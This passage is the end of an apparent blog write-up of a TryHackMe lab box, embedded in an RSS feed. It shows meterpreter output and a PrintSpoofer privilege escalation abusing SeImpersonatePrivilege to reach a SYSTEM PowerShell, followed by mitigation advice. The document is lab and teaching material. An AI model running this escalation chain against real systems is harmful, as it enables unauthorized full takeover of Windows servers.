&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Server&lt;/span> &lt;span class="n">username&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">IIS&lt;/span> &lt;span class="n">APPPOOL&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">DefaultAppPool&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">windows&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">system32&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">inetsrv&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">cd&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">bob&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">desktop&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Bob&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Desktop&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">type&lt;/span> &lt;span class="n">user.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">type&lt;/span> &lt;span class="n">user.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">THM&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">fdk4ka34vk346ksxfr21tg789ktf45&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="privilege-escalation">Privilege Escalation
&lt;/h2>&lt;p>First of all, always check for privileges the current user has.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Bob&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Desktop&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">whoami&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">priv&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">whoami&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">priv&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PRIVILEGES&lt;/span> &lt;span class="n">INFORMATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">----------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Privilege&lt;/span> &lt;span class="n">Name&lt;/span> &lt;span class="n">Description&lt;/span> &lt;span class="n">State&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">=============================&lt;/span> &lt;span class="o">=========================================&lt;/span> &lt;span class="o">========&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeAssignPrimaryTokenPrivilege&lt;/span> &lt;span class="n">Replace&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">process&lt;/span> &lt;span class="n">level&lt;/span> &lt;span class="n">token&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeIncreaseQuotaPrivilege&lt;/span> &lt;span class="n">Adjust&lt;/span> &lt;span class="n">memory&lt;/span> &lt;span class="n">quotas&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">process&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeAuditPrivilege&lt;/span> &lt;span class="n">Generate&lt;/span> &lt;span class="n">security&lt;/span> &lt;span class="n">audits&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeChangeNotifyPrivilege&lt;/span> &lt;span class="n">Bypass&lt;/span> &lt;span class="n">traverse&lt;/span> &lt;span class="n">checking&lt;/span> &lt;span class="n">Enabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeImpersonatePrivilege&lt;/span> &lt;span class="n">Impersonate&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">client&lt;/span> &lt;span class="n">after&lt;/span> &lt;span class="n">authentication&lt;/span> &lt;span class="n">Enabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeCreateGlobalPrivilege&lt;/span> &lt;span class="n">Create&lt;/span> &lt;span class="n">global&lt;/span> &lt;span class="n">objects&lt;/span> &lt;span class="n">Enabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeIncreaseWorkingSetPrivilege&lt;/span> &lt;span class="n">Increase&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">process&lt;/span> &lt;span class="n">working&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We see that the user has &lt;code>SeImpersonatePrivilege&lt;/code>. This means, a specific privilege in Windows OS that allows a process to impersonate a user or another process. So I can abuse this by a custom process to impersonate as the &lt;code>NT\Authority&lt;/code> user.
So to exploit this, quick google search gives us this &lt;a class="link" href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer" target="_blank" rel="noopener"
>link&lt;/a> from Hacktricks(A great resource).&lt;/p>
&lt;p>A/c to usage, the command given to the PrintSpoofer.exe in &lt;code>-c&lt;/code> flag will be executed as &lt;code>NT\Authority&lt;/code> user.&lt;/p>
&lt;p>Here is the file &lt;a class="link" href="https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" target="_blank" rel="noopener"
>&lt;code>PrintSpooferx64.exe&lt;/code>&lt;/a>.
I will upload it using the upload command in meterpreter session, then execute it with &lt;code>-c&lt;/code> flag to give a powershell session of privileged user.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">cd&lt;/span> &lt;span class="s1">&amp;#39;c:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="s1">inetpub&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="s1">wwwroot&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">t4wrksv&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">upload&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Uploading&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Uploaded&lt;/span> &lt;span class="mf">26.50&lt;/span> &lt;span class="n">KiB&lt;/span> &lt;span class="n">of&lt;/span> &lt;span class="mf">26.50&lt;/span> &lt;span class="n">KiB&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">100.0&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="p">):&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Completed&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Process&lt;/span> &lt;span class="mi">3240&lt;/span> &lt;span class="n">created&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Channel&lt;/span> &lt;span class="mi">3&lt;/span> &lt;span class="n">created&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">Version&lt;/span> &lt;span class="mf">10.0.14393&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="mi">2016&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Corporation&lt;/span>&lt;span class="p">.&lt;/span> &lt;span class="n">All&lt;/span> &lt;span class="n">rights&lt;/span> &lt;span class="n">reserved&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">inetpub&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">wwwroot&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">nt4wrksv&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">powershell.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">.&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">powershell.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Found&lt;/span> &lt;span class="n">privilege&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">SeImpersonatePrivilege&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Named&lt;/span> &lt;span class="n">pipe&lt;/span> &lt;span class="n">listening&lt;/span>&lt;span class="p">...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">CreateProcessAsUser&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="n">OK&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Windows&lt;/span> &lt;span class="n">PowerShell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Copyright&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">C&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="mi">2016&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Corporation&lt;/span>&lt;span class="p">.&lt;/span> &lt;span class="n">All&lt;/span> &lt;span class="n">rights&lt;/span> &lt;span class="n">reserved&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PS&lt;/span> &lt;span class="n">C&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Windows&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">system32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">whoami&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">whoami&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">nt&lt;/span> &lt;span class="n">authority&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">system&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So as you can see, I have now taken over the machine 🎉&lt;/p>
&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>
&lt;p>&lt;strong>Disable Unnecessary Services(like port 49663)&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Regularly review and disable any services that are not required. This reduces the attack surface and potential entry points for attackers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Least Privilege Principle&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Apply the principle of least privilege to all user accounts and services. Users and services should only have the minimum level of access necessary to perform their tasks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Strong Authentication Mechanisms(in this case for smb)&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Use strong, complex passwords and consider implementing multi-factor authentication (MFA) to add an extra layer of security to user accounts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="specific-mitigations">Specific Mitigations
&lt;/h2>&lt;ol>
&lt;li>
&lt;p>&lt;strong>Restrict SMB Access&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Disable anonymous access to SMB shares. Configure SMB shares to require authentication and only allow access to authorized users.&lt;/li>
&lt;li>Apply strict permissions to SMB shares, ensuring that only necessary users have write access.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Secure HTTP Access&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Ensure that HTTP services are properly secured. If file uploads are required, implement strict controls to validate and sanitize uploaded files to prevent the upload of malicious files such as reverse shells.&lt;/li>
&lt;li>Use secure coding practices to prevent vulnerabilities such as arbitrary file upload and remote code execution.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Restrict Privileges&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Regularly review and restrict the assignment of high-privilege accounts such as those with &lt;code>SeImpersonatePrivilege&lt;/code>. Only assign such privileges to accounts that absolutely require them.&lt;/li>
&lt;li>Use Group Policy to enforce restrictions on privilege assignments and regularly audit these policies.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Implement Endpoint Protection&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Deploy endpoint protection solutions that can detect and block common attack techniques, such as reverse shells and privilege escalation tools like PrintSpoofer.&lt;/li>
&lt;li>Regularly update endpoint protection signatures and configurations to ensure they can detect the latest threats.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Harden Print Spooler Service&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Regularly audit and review the security of the Print Spooler service. Disable the Print Spooler service on systems where it is not required.&lt;/li>
&lt;li>Apply patches and updates related to the Print Spooler service to address known vulnerabilities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Application Whitelisting&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Implement application whitelisting to control which executables are allowed to run on the system. This can prevent unauthorized tools and scripts from executing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Isolate and Monitor High-Privilege Accounts&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Isolate high-privilege accounts and monitor their usage closely. Implement additional security controls such as MFA and session logging for these accounts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>Overall, this was an easy box actually which required a lot of patience 😅. Exploitation after finding that exposed folder on port 49663 is easy. Rest all scripts and tools are available online to use.&lt;/p>
&lt;!-- - **Summary:** Brief summary of the entire process.
- **Lessons Learned:** Key lessons learned from the exploitation process.
- **Additional Notes:** Any additional notes or thoughts on the machine. -->
&lt;h2 id="references">References
&lt;/h2>&lt;ul>
&lt;li>&lt;a class="link" href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer" target="_blank" rel="noopener"
>https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" target="_blank" rel="noopener"
>https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe&lt;/a>&lt;/li>
&lt;/ul></description></item></channel></rss>